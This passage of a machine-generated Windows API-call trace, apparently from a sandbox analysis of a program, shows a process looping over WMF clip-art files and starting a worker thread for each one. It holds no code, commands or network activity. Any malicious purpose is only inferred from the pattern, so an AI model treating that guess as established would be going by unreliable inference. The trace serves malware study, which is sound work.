	[0234.873] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1
	[0234.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1480
	[0234.876] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.877] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1
	[0234.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484
	[0234.879] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.879] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1
	[0234.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488
	[0234.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.882] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1
	[0234.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148c
	[0234.886] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.887] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1
	[0234.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490
	[0234.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.890] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1
	[0234.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494
	[0234.893] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.893] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1
	[0234.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498
	[0234.970] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.971] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1
	[0234.971] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x149c
	[0234.973] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.973] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1
	[0234.973] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0
	[0234.975] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.976] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1
	[0234.976] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4
	[0234.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.979] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1
	[0234.979] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a8
	[0234.982] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.982] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1
	[0234.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac
	[0234.985] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.986] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1
	[0234.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b0
	[0234.988] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.988] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1
	[0234.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4
	[0234.991] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.991] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1
	[0234.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8
	[0234.994] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.995] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1
	[0234.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc
	[0234.998] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.998] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1
	[0234.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0
	[0235.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.002] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1
	[0235.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4
	[0235.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.160] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1
	[0235.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8
	[0235.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.163] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1
	[0235.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc
	[0235.166] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.167] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1
	[0235.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0
	[0235.168] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.169] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1
	[0235.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d4
	[0235.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.172] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1
	[0235.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d8
	[0235.174] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.175] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1
	[0235.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc
	[0235.177] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.178] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1
	[0235.510] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0
	[0235.512] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.513] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1
	[0235.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4
	[0235.515] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.516] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1
	[0235.516] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8
